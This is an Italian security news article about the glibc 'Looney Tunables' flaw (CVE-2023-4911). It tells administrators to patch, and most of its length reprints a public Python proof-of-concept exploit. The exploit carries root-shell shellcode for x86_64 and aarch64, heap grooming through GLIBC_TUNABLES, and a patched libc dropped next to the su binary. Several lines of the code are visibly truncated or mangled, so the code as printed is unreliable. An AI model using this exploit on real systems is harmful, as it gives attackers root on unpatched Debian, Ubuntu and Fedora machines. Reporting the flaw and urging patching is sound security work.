Red Hot Cyber
La cybersecurity è condivisione. Riconosci il rischio, combattilo, condividi le tue esperienze ed incentiva gli altri a fare meglio di te.
Cerca

Linux Looney Tunables: l’exploit è fuori e il livello di utilizzo è veramente basso

Redazione RHC : 6 Ottobre 2023 16:22

Prima che avessimo il tempo di parlarvi della vulnerabilità “Looney Tunables”, tracciata con l’identificatore CVE-2023-4911, su Internet era già apparso un exploit PoC che consente di sfruttare con successo questa vulnerabilità in un attacco reale.

Inoltre, la complessità dello sfruttamento della vulnerabilità è a un livello estremamente basso: anche un hacker alle prime armi può farcela. Il codice lo trovate più avanti.

Looney Tunables consente agli aggressori di ottenere privilegi di root sui sistemi Linux sfruttando un difetto di buffer overflow. La falla di sicurezza colpisce le installazioni standard di Debian 12 e 13, Ubuntu 22.04 e 23.04 e Fedora 37 e 38.


Scarica Gratuitamente Byte The Silence, il fumetto sul Cyberbullismo di Red Hot Cyber

«Il cyberbullismo è una delle minacce più insidiose e silenziose che colpiscono i nostri ragazzi. Non si tratta di semplici "bravate online", ma di veri e propri atti di violenza digitale, capaci di lasciare ferite profonde e spesso irreversibili nell’animo delle vittime. Non possiamo più permetterci di chiudere gli occhi». Così si apre la prefazione del fumetto di Massimiliano Brolli, fondatore di Red Hot Cyber, un’opera che affronta con sensibilità e realismo uno dei temi più urgenti della nostra epoca. Distribuito gratuitamente, questo fumetto nasce con l'obiettivo di sensibilizzare e informare. È uno strumento pensato per scuole, insegnanti, genitori e vittime, ma anche per chi, per qualsiasi ragione, si è ritrovato nel ruolo del bullo, affinché possa comprendere, riflettere e cambiare. Con la speranza che venga letto, condiviso e discusso, Red Hot Cyber è orgogliosa di offrire un contributo concreto per costruire una cultura digitale più consapevole, empatica e sicura.

Contattaci tramite WhatsApp al numero 375 593 1011 per richiedere ulteriori informazioni oppure alla casella di posta [email protected]


Supporta RHC attraverso:
  • L'acquisto del fumetto sul Cybersecurity Awareness
  • Ascoltando i nostri Podcast
  • Seguendo RHC su WhatsApp
  • Seguendo RHC su Telegram
  • Scarica gratuitamente "Dark Mirror", il report sul ransomware di Dark Lab


  • Ti piacciono gli articoli di Red Hot Cyber? Non aspettare oltre, iscriviti alla newsletter settimanale per non perdere nessun articolo.


    I criminali informatici possono sfruttare la vulnerabilità utilizzando una variabile di ambiente dannosa “GLIBC_TUNABLES” gestita dal loader dinamico “ld.so” per causare l’esecuzione di codice arbitrario come root quando si eseguono file binari con autorizzazione SUID.

    Uno degli exploit PoC, già confermato e funzionante dall’esperto di vulnerabilità Will Dohrmann, è stato pubblicato dal ricercatore indipendente sulla sicurezza Peter Geissler con lo pseudonimo di “blasty”.

    #
    # gnu-acme.py
    # ------------------------------------------------------------------------------
    # my (bad) attempt at a CVE-2023-4911 exploit
    # based on the advisory[1] by Qualys and thumb sucking
    #
    # if you disable aslr (echo 0 > /proc/sys/kernel/randomize_va_space) it will
    # attempt to identify a workable offset for your ld.so, you can add it to TARGETS
    #
    # tested on glibc 2.35-0ubuntu3 (aarch64) and glibc 2.36-9+deb12u2 (amd64)
    #
    # enjoy, maybe? and don't ask for support :)
    #
    # -- blasty 
    #
    # [1]: https://www.qualys.com/2023/10/03/CVE-2023-4911/looney-tunables-local-privilege-escalation-glibc-ld-so.txt
    #
    
    import binascii
    import resource
    import struct
    import select
    import time
    
    import sys
    import os
    
    from ctypes import *
    from ctypes.util import find_library
    from shutil import which
    
    unhex = lambda v: binascii.unhexlify(v.replace(" ", ""))
    
    # setresuid(euid, euid, euid); execve("/bin/sh", ["sh", NULL], NULL);
    # exit(0x66)
    ARCH = {
        "x86_64": {
            "shellcode": unhex(
                "6a6b580f0589c789c289c66a75580f05"
                + "6a6848b82f62696e2f2f2f73504889e768726901018134240101010131f6566a085e4801e6564889e631d26a3b580f05"
            ),
            "exitcode": unhex("6a665f6a3c580f05"),
            "stack_top": 0x800000000000,
            "stack_aslr_bits": 34,
        },
        "aarch64": {
            "shellcode": unhex(
                "e81580d2010000d4e10300aae20300aa681280d2010000d4"
                + "ee458cd22ecdadf2eee5c5f2ee65eef20f0d80d2ee3fbfa9e0030091e1031faae2031faaa81b80d2010000d4"
            ),
            "exitcode": unhex("c00c80d2a80b80d2010000d4"),
            "stack_top": 0x1000000000000,
            "stack_aslr_bits": 30,
        },
    }
    
    TARGETS = {
        "a8daca28288575ffc8c7641d40901b0148958fb1": 580,
        "a99db3715218b641780b04323e4ae5953d68a927": 561,
    }
    
    libc = cdll.LoadLibrary("libc.so.6")
    libc.execve.argtypes = c_char_p, POINTER(c_char_p), POINTER(c_char_p)
    resource.setrlimit(
        resource.RLIMIT_STACK, (resource.RLIM_INFINITY, resource.RLIM_INFINITY)
    )
    
    
    def error(s):
        print("error: %s" % s)
        exit(-1)
    
    
    def find_hax_path(blob, offset):
        pos = offset
        while pos > 0:
            if blob[pos] != 0 and blob[pos] != 0x2F and blob[pos + 1] == 0:
                return {"path": bytes([blob[pos]]), "offset": pos - offset}
            pos = pos - 1
        return None
    
    
    def lolstruct(format, keys, data):
        return dict(zip(keys.split(" "), struct.unpack(format, data)))
    
    
    def lib_path(libname):
        class LINKMAP(Structure):
            _fields_ = [("l_addr", c_void_p), ("l_name", c_char_p)]
    
        lib = CDLL(find_library("c"))
        libdl = CDLL(find_library("dl"))
        dlinfo = libdl.dlinfo
        dlinfo.argtypes = c_void_p, c_int, c_void_p
        dlinfo.restype = c_int
        lmptr = c_void_p()
        dlinfo(lib._handle, 2, byref(lmptr))
        return cast(lmptr, POINTER(LINKMAP)).contents.l_name
    
    
    def execve(filename, cargv, cenvp):
        libc.execve(filename, cargv, cenvp)
    
    
    def spawn(filename, argv, envp):
        cargv = (c_char_p * len(argv))(*argv)
        cenvp = (c_char_p * len(envp))(*envp)
        child_pid = os.fork()
        # child
        if not child_pid:
            execve(filename, cargv, cenvp)
            exit(0)
    
        # parent
        start_time = time.time()
        while True:
            try:
                pid, status = os.waitpid(child_pid, os.WNOHANG)
                if pid == child_pid:
                    if os.WIFEXITED(status):
                        return os.WEXITSTATUS(status) & 0xFF7F
                    else:
                        return 0
            except:
                pass
            current_time = time.time()
            if current_time - start_time >= 1.5:
                print("** ohh... looks like we got a shell? **\n")
                os.waitpid(child_pid, 0)
                return 0x1337
    
    
    class lazy_elf:
        def __init__(self, filename):
            self.d = open(filename, "rb").read()
            self.h = lolstruct(
                " 0
    
    
    def build_env(adjust, addr, offset):
        # heap meh shui
        env = [
            b"GLIBC_TUNABLES=glibc.mem.tagging=glibc.mem.tagging=" + b"P" * adjust,
            b"GLIBC_TUNABLES=glibc.mem.tagging=glibc.mem.tagging=" + b"X" * 8,
            b"GLIBC_TUNABLES=glibc.mem.tagging=glibc.mem.tagging=" + b"X" * 7,
            b"GLIBC_TUNABLES=glibc.mem.tagging=" + b"Y" * 24,
        ]
    
        for j in range(172):
            env.append(b"")
    
        env.append(struct.pack(" --      ")
        print("")
    
    
    if __name__ == "__main__":
        banner()
    
        machine = os.uname().machine
    
        if machine not in ARCH.keys():
            error("architecture '%s' not supported" % machine)
    
        print("[i] libc = %s" % lib_path("c").decode())
    
        su_path = which("su")
    
        print("[i] su = %s" % su_path)
    
        suid_e = lazy_elf(su_path)
    
        ld_path = suid_e.section_by_name(".interp").strip(b"\x00").decode()
    
        ld_e = lazy_elf(ld_path)
    
        print("[i] ld.so = %s" % ld_path)
    
        ld_build_id = binascii.hexlify(
            ld_e.section_by_name(".note.gnu.build-id")[-20:]
        ).decode()
    
        print("[i] ld.so build id = %s" % ld_build_id)
    
        libc_e = lazy_elf(lib_path("c"))
    
        __libc_start_main = libc_e.symbol("__libc_start_main")
    
        print("[i] __libc_start_main = 0x%x" % __libc_start_main)
    
        offset = suid_e.shdr_by_name(".dynstr")["offset"]
        hax_path = find_hax_path(suid_e.d, offset)
    
        if hax_path is None:
            error("could not find hax path")
    
        print(
            "[i] using hax path %s at offset %d"
            % (
                hax_path["path"],
                hax_path["offset"],
            )
        )
    
        if ld_build_id not in TARGETS.keys():
            error("no target info found for build id %s" % ld_build_id)
    
        if not os.path.exists(hax_path["path"]):
            os.mkdir(hax_path["path"])
    
        argv = build_argv([su_path, "--help"])
    
        if not is_aslr_enabled():
            print("[i] ASLR is not enabled, attempting to find usable offsets")
    
            shellcode = ARCH[machine]["exitcode"]
    
            with open(hax_path["path"] + b"/libc.so.6", "wb") as fh:
                fh.write(libc_e.d[0:__libc_start_main])
                fh.write(shellcode)
                fh.write(libc_e.d[__libc_start_main + len(shellcode) :])
            print("[i] wrote patched libc.so.6")
    
            stack_addr = ARCH[machine]["stack_top"] - 0x2000
            stack_addr += 0x103
    
            print("[i] using stack addr 0x%x" % stack_addr)
    
            for adjust in range(128, 1024):
                env = build_env(adjust, stack_addr, hax_path["offset"])
                r = spawn(su_path.encode(), argv, env)
                print("%d = %d" % (adjust, r))
                if r == 0x66:
                    print(
                        "found working offset for ld.so '%s' -> %d" % (ld_build_id, adjust)
                    )
    
        else:
            shellcode = ARCH[machine]["shellcode"]
    
            with open(hax_path["path"] + b"/libc.so.6", "wb") as fh:
                fh.write(libc_e.d[0:__libc_start_main])
                fh.write(shellcode)
                fh.write(libc_e.d[__libc_start_main + len(shellcode) :])
            print("[i] wrote patched libc.so.6")
    
            stack_addr = ARCH[machine]["stack_top"] - (
                1 > (i * 8)) & 0xFF == 0:
                    stack_addr |= 0x10 

    Anche altri ricercatori stanno sviluppando e pubblicando contemporaneamente i propri exploit per CVE-2023-4911 su GitHub e altre piattaforme.

    “Il nostro riuscito sfruttamento che ha portato all’accesso root completo sulle principali distribuzioni come Fedora, Ubuntu e Debian sottolinea la gravità e la natura diffusa di questa vulnerabilità”, ha affermato Saeed Abbasi, product manager del team di ricerca sulle minacce di Qualys, il 3 ottobre

    Sono stati gli esperti di Qualys i primi a identificare questa vulnerabilità.

    Gli amministratori devono agire immediatamente e proteggere le installazioni Linux sotto il loro controllo il prima possibile a causa della significativa minaccia rappresentata da Looney Tunables.

    Redazione
    La redazione di Red Hot Cyber è composta da un insieme di persone fisiche e fonti anonime che collaborano attivamente fornendo informazioni in anteprima e news sulla sicurezza informatica e sull'informatica in generale.

    Lista degli articoli

    Articoli in evidenza

    Il caso “Mia Moglie” e le sfide della responsabilità digitale tra privacy, revenge porn e ruolo delle piattaforme
    Di Paolo Galdieri - 23/08/2025

    La recente vicenda del gruppo Facebook “Mia Moglie”, attivo dal 2019 e popolato da oltre 32.000 iscritti, mette in luce una dinamica che intreccia violazione della privacy, pornografia n...

    Performance review 2025 per Google: meno bug, più vibe coding
    Di Redazione RHC - 23/08/2025

    Per i dipendenti di Google, “stare al passo con i tempi” significa non solo sviluppare l’intelligenza artificiale, ma anche essere in grado di utilizzarla ogni giorno. Negli ultim...

    20 milioni di dollari per exploit zero-day dal broker Advanced Security Solutions
    Di Redazione RHC - 22/08/2025

    Advanced Security Solutions, con sede negli Emirati Arabi Uniti, è nata questo mese ed offre fino a 20 milioni di dollari per vulnerabilità zero-day ed exploit che consentirebbero a chiunque...

    Un bug critico di Downgrade in Chat-GPT porta al Jailbreak del modello
    Di Redazione RHC - 22/08/2025

    Un difetto critico riscontrato nel più recente modello di OpenAI, ChatGPT-5, permette a malintenzionati di aggirare le avanzate funzionalità di sicurezza attraverso l’uso di semplici ...

    972 milioni di utenti VPN di Google Play sono a rischio!
    Di Redazione RHC - 22/08/2025

    Gli analisti di Citizen Lab hanno segnalato che oltre 20 app VPN presenti sul Google Play Store presentano gravi problemi di sicurezza che minacciano la privacy degli utenti e consentono la decrittazi...